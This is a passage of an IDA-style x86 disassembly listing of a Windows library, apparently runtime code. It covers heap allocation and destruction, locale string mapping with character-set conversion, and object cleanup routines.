mov [ebp+arg_0], edi
jz loc_69B1AD4D
lea eax, [esi-1]
imul eax, 2270h
add eax, 2280h
cmp dword_69B92940, ebx
push eax ; dwBytes
push ebx ; dwFlags
push edi ; hHeap
jnz loc_69B1AD43
call ds:HeapAlloc
loc_69B1ACB5: ; CODE XREF: sub_69B1AC42+106j
mov esi, eax
cmp esi, ebx
jz loc_69B23866
lea eax, [esi+10h]
push eax
mov edi, 2270h
push edi
mov dword ptr [esi], 1
mov [esi+4], ebx
mov [esi+8], ebx
call sub_69B1129D
cmp eax, ebx
jz short loc_69B1ACE8
push [ebp+arg_0]
mov ecx, eax
call sub_69B1AD51
loc_69B1ACE8: ; CODE XREF: sub_69B1AC42+9Aj
xor eax, eax
inc eax
cmp [ebp+arg_8], eax
mov [ebp+var_4], eax
jbe short loc_69B1AD3A
lea eax, [esi+2280h]
mov [ebp+arg_4], eax
loc_69B1ACFC: ; CODE XREF: sub_69B1AC42+F6j
push ebx ; dwMaximumSize
push [ebp+dwInitialSize] ; dwInitialSize
push 1 ; flOptions
call ds:HeapCreate ; HeapCreate
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_69B2387A
push [ebp+arg_4]
push edi
call sub_69B1129D
cmp eax, ebx
jz short loc_69B1AD2A
push [ebp+arg_0]
mov ecx, eax
call sub_69B1AD51
loc_69B1AD2A: ; CODE XREF: sub_69B1AC42+DCj
inc dword ptr [esi]
inc [ebp+var_4]
mov eax, [ebp+var_4]
add [ebp+arg_4], edi
cmp eax, [ebp+arg_8]
jb short loc_69B1ACFC
loc_69B1AD3A: ; CODE XREF: sub_69B1AC42+AFj
mov eax, esi
loc_69B1AD3C: ; CODE XREF: sub_69B1AC42+10Dj
pop edi
pop esi
loc_69B1AD3E: ; CODE XREF: sub_69B1AC42+8C1Fj
pop ebx
leave
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B1AD43: ; CODE XREF: sub_69B1AC42+67j
call sub_69B2D461
jmp loc_69B1ACB5
; ---------------------------------------------------------------------------
loc_69B1AD4D: ; CODE XREF: sub_69B1AC42+4Aj
; sub_69B1AC42+8C33j ...
xor eax, eax
jmp short loc_69B1AD3C
sub_69B1AC42 endp
; =============== S U B R O U T I N E =======================================
sub_69B1AD51 proc near ; CODE XREF: sub_69B1AC42+A1p
; sub_69B1AC42+E3p
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
push 100h
push 1000h
lea ecx, [esi+2034h]
call sub_69B19B0D
mov eax, [esp+8+arg_0]
and dword ptr [esi+2030h], 0
mov [esi], eax
xor eax, eax
mov ecx, 80h
lea edi, [esi+2070h]
rep stosd
lea eax, [esi+4]
push eax
call sub_69B1AD97
pop ecx
pop edi
mov eax, esi
pop esi
retn 4
sub_69B1AD51 endp
; =============== S U B R O U T I N E =======================================
sub_69B1AD97 proc near ; CODE XREF: sub_69B1AD51+39p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword ptr [eax+2024h], 0
or dword ptr [eax+10h], 0FFFFFFFFh
or dword ptr [eax+14h], 0FFFFFFFFh
lea ecx, [eax+18h]
mov [eax+2020h], eax
mov dword ptr [eax+2028h], 1D0h
mov [eax], eax
mov [eax+4], eax
mov [eax+8], ecx
mov [eax+0Ch], ecx
mov dword ptr [ecx], 0EFh
mov dword ptr [eax+1Ch], 0F0h
retn
sub_69B1AD97 endp
; =============== S U B R O U T I N E =======================================
sub_69B1ADD6 proc near ; CODE XREF: sub_69B1C43A+Fp
push dword_69B949F8
call sub_69B1ADE2
retn
sub_69B1ADD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1ADE2 proc near ; CODE XREF: sub_69B1ADD6+6p
; sub_69B1AC42+8C41p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, [esi]
and dword ptr [esi], 0
test ebx, ebx
push edi
jbe short loc_69B1AE18
lea edi, [esi+10h]
mov [ebp+arg_0], ebx
loc_69B1ADFA: ; CODE XREF: sub_69B1ADE2+34j
push 0FFFFFFFFh ; dwMilliseconds
lea ecx, [edi+2034h]
call sub_69B18F8A
push edi
call sub_69B120DB
add edi, 2270h
dec [ebp+arg_0]
jnz short loc_69B1ADFA
loc_69B1AE18: ; CODE XREF: sub_69B1ADE2+10j
dec ebx
jz short loc_69B1AE3B
mov eax, ebx
imul eax, 2270h
lea edi, [eax+esi+10h]
loc_69B1AE27: ; CODE XREF: sub_69B1ADE2+57j
test edi, edi
jz short loc_69B1AE32
mov ecx, edi
call sub_69B1AE5D
loc_69B1AE32: ; CODE XREF: sub_69B1ADE2+47j
sub edi, 2270h
dec ebx
jnz short loc_69B1AE27
loc_69B1AE3B: ; CODE XREF: sub_69B1ADE2+37j
lea ecx, [esi+10h]
mov esi, [ecx]
and dword ptr [ecx], 0
test ecx, ecx
jz short loc_69B1AE4C
call sub_69B1AE5D
loc_69B1AE4C: ; CODE XREF: sub_69B1ADE2+63j
push esi ; hHeap
call ds:HeapDestroy ; HeapDestroy
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
pop ebp
retn 4
sub_69B1ADE2 endp
; =============== S U B R O U T I N E =======================================
sub_69B1AE5D proc near ; CODE XREF: sub_69B1ADE2+4Bp
; sub_69B1ADE2+65p
; FUNCTION CHUNK AT 69B23427 SIZE 00000015 BYTES
push esi
mov esi, ecx
lea eax, [esi+4]
push edi
push eax
call sub_69B1E5B8
lea edi, [esi+2038h]
add dword ptr [edi+8], 0FFFFFFF8h
mov esi, [esi]
test esi, esi
pop ecx
jz short loc_69B1AE82
push esi ; hHeap
call ds:HeapDestroy ; HeapDestroy
loc_69B1AE82: ; CODE XREF: sub_69B1AE5D+1Cj
mov ecx, edi
pop edi
pop esi
loc_69B1AE86: ; CODE XREF: .text:69B1B29Bp
; sub_69B1B3C3+Dj ...
push esi
mov esi, ecx
push dword ptr [esi+1Ch] ; hObject
mov dword ptr [esi-4], offset off_69B1F248
mov dword ptr [esi], offset off_69B1B294
call ds:CloseHandle ; CloseHandle
test eax, eax
jz loc_69B23427
loc_69B1AEA7: ; CODE XREF: sub_69B1AE5D+85DAj
mov dword ptr [esi-4], offset off_69B1AEB8
mov dword ptr [esi], offset off_69B1BBE0
pop esi
retn
sub_69B1AE5D endp
; ---------------------------------------------------------------------------
align 4
off_69B1AEB8 dd offset sub_69B448B2 ; DATA XREF: sub_69B19B6A+1Eo
; sub_69B1AE5D:loc_69B1AEA7o ...
dd offset sub_69B18E45
dd offset sub_69B19029
; =============== S U B R O U T I N E =======================================
sub_69B1AEC4 proc near ; CODE XREF: sub_69B19189+8Bp
; sub_69B19189+B3p ...
; FUNCTION CHUNK AT 69B25477 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 69B254C3 SIZE 0000004C BYTES
; FUNCTION CHUNK AT 69B25530 SIZE 000000EE BYTES
; FUNCTION CHUNK AT 69B2562C SIZE 000000B3 BYTES
push 34h
push offset dword_69B1B078
call sub_69B19C5C
xor edi, edi
cmp dword_69B95DAC, edi
jnz short loc_69B1AEFF
push edi ; cchDest
push edi ; lpDestStr
xor esi, esi
inc esi
push esi ; cchSrc
push offset SrcStr ; lpSrcStr
push 100h ; dwMapFlags
push edi ; Locale
call ds:LCMapStringW ; LCMapStringW
test eax, eax
jz loc_69B25477
mov dword_69B95DAC, esi
loc_69B1AEFF: ; CODE XREF: sub_69B1AEC4+14j
; sub_69B1AEC4+A5BCj ...
cmp [ebp+14h], edi
jle short loc_69B1AF20
mov ecx, [ebp+14h]
mov eax, [ebp+10h]
loc_69B1AF0A: ; CODE XREF: sub_69B1AEC4+4Fj
dec ecx
cmp byte ptr [eax], 0
jz short loc_69B1AF18
inc eax
cmp ecx, edi
jnz short loc_69B1AF0A
or ecx, 0FFFFFFFFh
loc_69B1AF18: ; CODE XREF: sub_69B1AEC4+4Aj
or eax, 0FFFFFFFFh
sub eax, ecx
add [ebp+14h], eax
loc_69B1AF20: ; CODE XREF: sub_69B1AEC4+3Ej
mov eax, dword_69B95DAC
cmp eax, 2
jz loc_69B25572
cmp eax, edi
jz loc_69B25572
cmp eax, 1
jnz loc_69B1B06D
mov [ebp-1Ch], edi
mov [ebp-20h], edi
mov [ebp-24h], edi
cmp [ebp+20h], edi
jz loc_69B25495
loc_69B1AF51: ; CODE XREF: sub_69B1AEC4+A5D9j
push edi ; cchWideChar
push edi ; lpWideCharStr
push dword ptr [ebp+14h] ; cchMultiByte
push dword ptr [ebp+10h] ; lpMultiByteStr
xor eax, eax
cmp [ebp+24h], edi
setnz al
lea eax, ds:1[eax*8]
push eax ; dwFlags
push dword ptr [ebp+20h] ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov esi, eax
mov [ebp-28h], esi
xor ebx, ebx
cmp esi, ebx
jz loc_69B1B06D
mov dword ptr [ebp-4], 1
lea eax, [esi+esi]
add eax, 3
and eax, 0FFFFFFFCh
call sub_69B1B09C
mov [ebp-18h], esp
mov eax, esp
mov [ebp-2Ch], eax
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B1AFA2: ; CODE XREF: sub_69B254A6+18j
cmp [ebp-2Ch], ebx
jz loc_69B254C3
loc_69B1AFAB: ; CODE XREF: sub_69B1AEC4+A619j
push esi ; cchWideChar
push dword ptr [ebp-2Ch] ; lpWideCharStr
push dword ptr [ebp+14h] ; cchMultiByte
push dword ptr [ebp+10h] ; lpMultiByteStr
push 1 ; dwFlags
push dword ptr [ebp+20h] ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
test eax, eax
jz loc_69B1B050
push ebx ; cchDest
push ebx ; lpDestStr
push esi ; cchSrc
push dword ptr [ebp-2Ch] ; lpSrcStr
push dword ptr [ebp+0Ch] ; dwMapFlags
push dword ptr [ebp+8] ; Locale
call ds:LCMapStringW ; LCMapStringW
mov edi, eax
mov [ebp-1Ch], edi
cmp edi, ebx
jz short loc_69B1B050
test byte ptr [ebp+0Dh], 4
jnz loc_69B254E2
mov dword ptr [ebp-4], 2
lea eax, [edi+edi]
add eax, 3
and eax, 0FFFFFFFCh
call sub_69B1B09C
mov [ebp-18h], esp
mov eax, esp
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B1B00E: ; CODE XREF: sub_69B25513+18j
cmp [ebp-30h], ebx
jz loc_69B25530
loc_69B1B017: ; CODE XREF: sub_69B1AEC4+A686j
push edi ; cchDest
push dword ptr [ebp-30h] ; lpDestStr
push esi ; cchSrc
push dword ptr [ebp-2Ch] ; lpSrcStr
push dword ptr [ebp+0Ch] ; dwMapFlags
push dword ptr [ebp+8] ; Locale
call ds:LCMapStringW ; LCMapStringW
test eax, eax
jz short loc_69B1B050
push ebx ; lpUsedDefaultChar
push ebx ; lpDefaultChar
cmp [ebp+1Ch], ebx
jz loc_69B2554F
push dword ptr [ebp+1Ch] ; cchMultiByte
push dword ptr [ebp+18h] ; lpMultiByteStr
loc_69B1B040: ; CODE XREF: sub_69B1AEC4+A68Dj
push edi ; cchWideChar
push dword ptr [ebp-30h] ; lpWideCharStr
push ebx ; dwFlags
push dword ptr [ebp+20h] ; CodePage
call ds:WideCharToMultiByte ; WideCharToMultiByte
mov edi, eax
loc_69B1B050: ; CODE XREF: sub_69B1AEC4+FEj
; sub_69B1AEC4+11Dj ...
cmp [ebp-24h], ebx
jnz loc_69B25556
loc_69B1B059: ; CODE XREF: sub_69B1AEC4+A69Bj
cmp [ebp-20h], ebx
jnz loc_69B25564
loc_69B1B062: ; CODE XREF: sub_69B1AEC4+A6A9j
mov eax, edi
loc_69B1B064: ; CODE XREF: sub_69B1AEC4+1ABj
; sub_69B1AEC4+A816j
lea esp, [ebp-50h]
call sub_69B1853C
retn
; ---------------------------------------------------------------------------
loc_69B1B06D: ; CODE XREF: sub_69B1AEC4+75j
; sub_69B1AEC4+B7j ...
xor eax, eax
jmp short loc_69B1B064
sub_69B1AEC4 endp
; ---------------------------------------------------------------------------
align 8
dword_69B1B078 dd 0FFFFFFFFh dd offset sub_69B2561E
dd offset sub_69B25622
dd 0FFFFFFFFh
dd offset sub_69B254A2
dd offset sub_69B254A6
dd 0FFFFFFFFh
dd offset sub_69B2550F
dd offset sub_69B25513
; =============== S U B R O U T I N E =======================================
sub_69B1B09C proc near ; CODE XREF: sub_69B1AEC4+CDp
; sub_69B1AEC4+139p ...
arg_0 = byte ptr 4
; FUNCTION CHUNK AT 69B2246E SIZE 00000028 BYTES
cmp eax, 1000h
jnb loc_69B2246E
neg eax
add eax, esp
add eax, 4
test [eax], eax
xchg eax, esp
mov eax, [eax]
push eax
retn
sub_69B1B09C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B1B0B5 proc near ; CODE XREF: sub_69B1E3D1+70p
; FUNCTION CHUNK AT 69B23230 SIZE 00000015 BYTES
push ebx
push dwTlsIndex
call dword_69B92970
xor ebx, ebx
cmp byte_69B929BD, bl
jnz loc_69B23230
loc_69B1B0D0: ; CODE XREF: sub_69B1B0B5+818Bj
inc dword_69B929A8
push ebp
push esi
push edi
loc_69B1B0D9: ; CODE XREF: sub_69B1B0B5+8Bj
mov esi, dword_69B9295C
xor ebp, ebp
cmp esi, ebx
jz short loc_69B1B142
loc_69B1B0E5: ; CODE XREF: sub_69B1B0B5+87j
push esi
call sub_69B1B580
cmp [esi+18h], bl
jnz loc_69B1B188
lea edi, [esi+0Ch]
push edi ; Target
call sub_69B18980
push esi
call sub_69B11E80
mov [edi], eax
mov [esi+4], esi
loc_69B1B108: ; CODE XREF: sub_69B1B0B5+D9j
push esi
call sub_69B1B480
or ebp, eax
cmp byte_69B92998, bl
jz short loc_69B1B137
push dword_69B95A14
call sub_69B17135
push dword_69B95A20
or ebp, eax
call sub_69B17135
or ebp, eax
call sub_69B1B193
loc_69B1B137: ; CODE XREF: sub_69B1B0B5+61j
mov esi, [esi+14h]
cmp esi, ebx
jnz short loc_69B1B0E5
cmp ebp, ebx
jnz short loc_69B1B0D9
loc_69B1B142: ; CODE XREF: sub_69B1B0B5+2Ej
cmp byte_69B92998, bl
pop edi
pop esi
pop ebp
jz short loc_69B1B16F
mov eax, dword_69B95A20
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
mov eax, dword_69B95A14
mov dword_69B95A20, ebx
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
mov dword_69B95A14, ebx
loc_69B1B16F: ; CODE XREF: sub_69B1B0B5+96j
call sub_69B1C1E2
dec dword_69B929AC
mov dword_69B9299C, ebx
mov dword_69B929A0, ebx
pop ebx
retn
; ---------------------------------------------------------------------------
loc_69B1B188: ; CODE XREF: sub_69B1B0B5+39j
mov [esi+18h], bl
mov [esi+19h], bl
jmp loc_69B1B108
sub_69B1B0B5 endp
; =============== S U B R O U T I N E =======================================
sub_69B1B193 proc near ; CODE XREF: sub_69B18CB3+59p
; sub_69B1B0B5+7Dp ...
; FUNCTION CHUNK AT 69B23019 SIZE 0000002B BYTES
push 14h
push offset dword_69B1B1D0
call sub_69B19C5C
push 0 ; Value
push offset Target ; Target
call ds:InterlockedExchange ; InterlockedExchange
mov [ebp-1Ch], eax
loc_69B1B1AF: ; CODE XREF: sub_69B2304D+7j
and dword ptr [ebp-4], 0
loc_69B1B1B3: ; CODE XREF: sub_69B1B193+7EACj
mov esi, [ebp-1Ch]
mov [ebp-20h], esi
test esi, esi
jnz loc_69B23019
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn
sub_69B1B193 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B1B1D0 dd 0FFFFFFFFh dd offset sub_69B23044
dd offset sub_69B2304D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1B1F3
loc_69B1B1DC: ; CODE XREF: sub_69B1B1F3+79j
push eax ; lpMem
call sub_69B1B532
and dword ptr [ebx], 0
dec dword ptr [edi]
pop ecx
jnz loc_69B1B272
jmp loc_69B238D3
; END OF FUNCTION CHUNK FOR sub_69B1B1F3
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1B1F3 proc near ; CODE XREF: sub_69B18700+10p
; sub_69B1A48F-55p ...
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 69B12098 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 69B1B1DC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 69B238C8 SIZE 0000001D BYTES
push ebp
mov ebp, esp
cmp byte_69B929BC, 0
jnz loc_69B1B286
mov ecx, dword_69B929E4
push ebx
push esi
mov esi, [ebp+arg_0]
shr esi, 2
push edi
mov edi, esi
shr edi, 13h
test ecx, ecx
jnz loc_69B12098
loc_69B1B21F: ; CODE XREF: sub_69B1B1F3-9154j
cmp byte_69B95A00, 1
jz loc_69B238C8
loc_69B1B22C: ; CODE XREF: sub_69B1B1F3+86DBj
lea eax, dword_69B94A00[edi*4]
mov edi, [eax]
mov [ebp+arg_0], eax
mov eax, esi
and esi, 0FFFh
shr eax, 0Ch
and eax, 7Fh
mov ecx, esi
shr ecx, 5
lea ebx, [edi+eax*4+4]
mov eax, [ebx]
lea edx, [eax+ecx*4+4]
mov ecx, esi
xor esi, esi
inc esi
and ecx, 1Fh
shl esi, cl
mov byte_69B95A00, 1
not esi
and [edx], esi
dec dword ptr [eax]
jz loc_69B1B1DC
loc_69B1B272: ; CODE XREF: sub_69B1B1F3-Bj
; sub_69B1B1F3+86EDj
mov ecx, dword_69B929E4
test ecx, ecx
pop edi
pop esi
mov byte_69B95A00, 0
pop ebx
jnz short loc_69B1B28A
loc_69B1B286: ; CODE XREF: sub_69B1B1F3+Aj
; sub_69B1B1F3+9Cj
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_69B1B28A: ; CODE XREF: sub_69B1B1F3+91j
call sub_69B18381
jmp short loc_69B1B286
sub_69B1B1F3 endp
; ---------------------------------------------------------------------------
align 4
off_69B1B294 dd offset loc_69B1B298 ; DATA XREF: sub_69B19B0D+2Ao
; sub_69B1AE5D+36o
; ---------------------------------------------------------------------------
loc_69B1B298: ; DATA XREF: .text:off_69B1B294o
push esi
mov esi, ecx
call loc_69B1AE86
test byte ptr [esp+8], 1
jz short loc_69B1B2B0
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B1B2B0: ; CODE XREF: .text:69B1B2A5j
lea eax, [esi-4]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B1B2B7 proc near ; CODE XREF: .text:69B1B2ABp
; .text:69B1B3B7p ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B22BD2 SIZE 0000000B BYTES
mov ecx, [esp+arg_0]
test ecx, ecx
jz short locret_69B1B2D8
mov eax, dword_69B92978
test eax, eax
push ecx
jnz loc_69B22BD2
push dword_69B949F8
call sub_69B182B8
locret_69B1B2D8: ; CODE XREF: sub_69B1B2B7+6j
; sub_69B1B2B7+7921j
retn 4
sub_69B1B2B7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B17F72
loc_69B1B2DB: ; CODE XREF: sub_69B17F72+AAj
; sub_69B17F72+BEj ...
mov eax, dword_69B949FC
mov ecx, [esi]
add eax, edi
cmp dword_69B92940, ebx
push eax ; dwBytes
push ebx ; dwFlags
push ecx ; hHeap
jnz loc_69B11C64
call ds:HeapAlloc
loc_69B1B2F9: ; CODE XREF: sub_69B17F72-6309j
lea ecx, [esi+2034h]
mov ebx, eax
call sub_69B18381
test ebx, ebx
jz loc_69B11C6E
test bl, 4
jnz loc_69B2384B
loc_69B1B317: ; CODE XREF: sub_69B17F72+B8E0j
test byte ptr [ebp+arg_4], 8
mov eax, [ebp+var_4]
mov [ebx], esi
mov [ebx+4], eax
jnz short loc_69B1B33A
loc_69B1B325: ; CODE XREF: sub_69B17F72+33DEj
mov eax, [ebp+var_8]
test eax, eax
jz short loc_69B1B332
mov ecx, [ebp+arg_0]
mov [eax+4Ch], ecx
loc_69B1B332: ; CODE XREF: sub_69B17F72+33B8j
lea eax, [ebx+8]
jmp loc_69B18087
; ---------------------------------------------------------------------------
loc_69B1B33A: ; CODE XREF: sub_69B17F72+33B1j
mov ecx, [ebp+arg_8]
mov edx, ecx
shr ecx, 2
xor eax, eax
lea edi, [ebx+8]
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
jmp short loc_69B1B325
; END OF FUNCTION CHUNK FOR sub_69B17F72
; =============== S U B R O U T I N E =======================================
sub_69B1B352 proc near ; CODE XREF: sub_69B19A23+7Fp
; sub_69B19A23+89p ...
; FUNCTION CHUNK AT 69B2349A SIZE 00000003 BYTES
push 30h
call sub_69B1D897
test eax, eax
jz loc_69B2349A
push 100h
push 1000h
mov ecx, eax
call sub_69B1B373
retn
sub_69B1B352 endp
; =============== S U B R O U T I N E =======================================
sub_69B1B373 proc near ; CODE XREF: sub_69B1B352+1Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
push [esp+8+arg_0]
call sub_69B19B0D
and dword ptr [esi+28h], 0
and dword ptr [esi+2Ch], 0
mov dword ptr [esi], offset off_69B1B3D8
mov dword ptr [esi+4], offset off_69B1B3A0
mov eax, esi
pop esi
retn 8
sub_69B1B373 endp
; ---------------------------------------------------------------------------
align 10h
off_69B1B3A0 dd offset loc_69B1B3A4 ; DATA XREF: sub_69B1B373+1Eo
; sub_69B1B3C3+7o
; ---------------------------------------------------------------------------
loc_69B1B3A4: ; DATA XREF: .text:off_69B1B3A0o
push esi
mov esi, ecx
call sub_69B1B3C3
test byte ptr [esp+8], 1
jz short loc_69B1B3BC
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B1B3BC: ; CODE XREF: .text:69B1B3B1j
lea eax, [esi-4]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B1B3C3 proc near ; CODE XREF: .text:69B1B3A7p
mov dword ptr [ecx-4], offset off_69B1B3D8
mov dword ptr [ecx], offset off_69B1B3A0
jmp loc_69B1AE86
sub_69B1B3C3 endp
; ---------------------------------------------------------------------------
align 4
off_69B1B3D8 dd offset sub_69B448B2 ; DATA XREF: sub_69B1B373+18o
; sub_69B1B3C3o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B2DE99
dd offset sub_69B1B3F4
dd offset sub_69B18BAC
dd offset sub_69B18ED9
; =============== S U B R O U T I N E =======================================
sub_69B1B3F4 proc near ; DATA XREF: .text:69B1B3E8o
dec dword ptr [ecx+2Ch]
jnz sub_69B18381
and dword ptr [ecx+28h], 0
jmp sub_69B18381
sub_69B1B3F4 endp
; =============== S U B R O U T I N E =======================================
sub_69B1B406 proc near ; CODE XREF: sub_69B1BFF8+20p
; sub_69B1DE10+1Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
mov ecx, [esp+4+arg_4]
call sub_69B1B42A
mov ecx, [esp+4+arg_0]
mov [esi], ecx
mov edx, [ecx+2Ch]
mov [esi+8], eax
mov [esi+4], edx
mov [ecx+2Ch], eax
mov eax, esi
pop esi
retn 8
sub_69B1B406 endp
; =============== S U B R O U T I N E =======================================
sub_69B1B42A proc near ; CODE XREF: sub_69B19621+9Ap
; sub_69B1B406+7p ...
call sub_69B17275
neg eax
sbb eax, eax
inc eax
retn
sub_69B1B42A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1B480
loc_69B1B435: ; CODE XREF: sub_69B1B480+2Fj
mov ecx, esi
call sub_69B18F5A
mov [ebp-20h], eax
cmp eax, 0FFFFFFFFh
jz loc_69B22F3A
push dword ptr [ebp-20h]
mov ecx, esi
call sub_69B18459
test eax, eax
jnz loc_69B22F42
dec dword_69B929B0
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+34h]
mov dword ptr [esi+4], 3
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+18h]
loc_69B1B475: ; CODE XREF: sub_69B1B480+7ACAj
mov esi, [ebp-20h]
and esi, 0FFFFFFF9h
mov [ebp-24h], esi
jmp short loc_69B1B4AD
; END OF FUNCTION CHUNK FOR sub_69B1B480
; =============== S U B R O U T I N E =======================================
sub_69B1B480 proc near ; CODE XREF: sub_69B1B0B5+54p
; sub_69B18CB3+5629p
; FUNCTION CHUNK AT 69B1B435 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 69B22F3A SIZE 00000015 BYTES
push 14h
push offset dword_69B1B4D8
call sub_69B19C5C
mov edi, [ebp+8]
lea eax, [edi+8]
mov [ebp-1Ch], eax
add eax, 4
push eax ; Target
call sub_69B18980
mov esi, eax
mov [ebp-20h], esi
and esi, 0FFFFFFF9h
loc_69B1B4A6: ; CODE XREF: sub_69B22F58+10j
and dword ptr [ebp-4], 0
mov ebx, [ebp-1Ch]
loc_69B1B4AD: ; CODE XREF: sub_69B1B480-2j
cmp esi, edi
jnz short loc_69B1B435
loc_69B1B4B1: ; CODE XREF: sub_69B1B480+7ABDj
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, dword_69B929B0
mov dword_69B929B4, eax
mov eax, [ebp-20h]
mov [ebx+4], eax
xor eax, eax
cmp [edi+4], edi
setnz al
call sub_69B1853C
retn 4
sub_69B1B480 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B1B4D8 dd 0FFFFFFFFh dd offset sub_69B22F4F
dd offset sub_69B22F58
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1B4E4 proc near ; CODE XREF: sub_69B1C43A+14p
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 69B12104 SIZE 0000000C BYTES
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov [ebp+var_4], offset dword_69B94A00
mov [ebp+var_8], 400h
push edi
loc_69B1B4FA: ; CODE XREF: sub_69B1B4E4+26j
mov eax, [ebp+var_4]
mov edi, [eax]
test edi, edi
jnz short loc_69B1B511
loc_69B1B503: ; CODE XREF: sub_69B1B4E4+4Cj
add [ebp+var_4], 4
dec [ebp+var_8]
jnz short loc_69B1B4FA
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_69B1B511: ; CODE XREF: sub_69B1B4E4+1Dj
lea esi, [edi+4]
mov ebx, 80h
loc_69B1B519: ; CODE XREF: sub_69B1B4E4+43j
mov eax, [esi]
test eax, eax
jnz loc_69B12104
loc_69B1B523: ; CODE XREF: sub_69B1B4E4-93D9j
add esi, 4
dec ebx
jnz short loc_69B1B519
push edi ; lpMem
call sub_69B1B532
pop ecx
jmp short loc_69B1B503
sub_69B1B4E4 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_69B1B532(LPVOID lpMem)
sub_69B1B532 proc near ; CODE XREF: sub_69B1B4E4-93DFp
; sub_69B1B1F3-16p ...
lpMem = dword ptr 4
; FUNCTION CHUNK AT 69B238A9 SIZE 00000006 BYTES
push [esp+lpMem] ; lpMem
xor eax, eax
cmp dword_69B92940, eax
push eax ; dwFlags
push hHeap ; hHeap
jnz loc_69B238A9
call ds:HeapFree
retn
sub_69B1B532 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B1B552 proc near ; CODE XREF: sub_69B18B3B+Ep
; sub_69B3FBF7+Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
mov ecx, [esp+4+arg_4]
mov eax, [ecx]
call dword ptr [eax+10h]
mov ecx, eax
call sub_69B1B42A
mov ecx, [esp+4+arg_0]
mov [esi], ecx
mov edx, [ecx+2Ch]
mov [esi+8], eax
mov [esi+4], edx
mov [ecx+2Ch], eax
mov eax, esi
pop esi
retn 8
sub_69B1B552 endp
; =============== S U B R O U T I N E =======================================
sub_69B1B57D proc near ; CODE XREF: sub_69B3F483+3j
; .text:69B3F4B8j ...
mov eax, ecx
retn
sub_69B1B57D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1B580 proc near ; CODE XREF: sub_69B18CB3+7Dp
; sub_69B1B0B5+31p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, [ebp+arg_0]
cmp dword ptr [ebx+58h], 0
jnz short loc_69B1B594
loc_69B1B58F: ; CODE XREF: sub_69B1B580+4Ej
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_69B1B594: ; CODE XREF: sub_69B1B580+Dj
push esi
push edi
lea eax, [ebx+4]
push eax ; Target
call sub_69B18980
lea esi, [ebx+5Ch]
mov edi, eax
lea eax, [esi+400h]
and edi, 0FFFFFFF9h
cmp esi, eax
mov [ebp+var_8], eax
jnb short loc_69B1B5C5
loc_69B1B5B4: ; CODE XREF: sub_69B1B580+43j
mov eax, [esi]
test eax, eax
mov [ebp+var_4], eax
jnz short loc_69B1B5D0
loc_69B1B5BD: ; CODE XREF: sub_69B1B580+6Fj
add esi, 4
cmp esi, [ebp+var_8]
jb short loc_69B1B5B4
loc_69B1B5C5: ; CODE XREF: sub_69B1B580+32j
and dword ptr [ebx+58h], 0
mov [ebx+4], edi
pop edi
pop esi
jmp short loc_69B1B58F
; ---------------------------------------------------------------------------
loc_69B1B5D0: ; CODE XREF: sub_69B1B580+3Bj
lea ebx, [eax+4]
push ebx ; Target
call sub_69B18980
and eax, 2
or eax, edi
mov edi, [ebp+var_4]
mov [ebx], eax
inc dword_69B929B0
and dword ptr [esi], 0
mov ebx, [ebp+arg_0]
jmp short loc_69B1B5BD
sub_69B1B580 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1BAE5
loc_69B1B5F1: ; CODE XREF: sub_69B1BAE5+2Ej
; sub_69B1BAE5+9156j
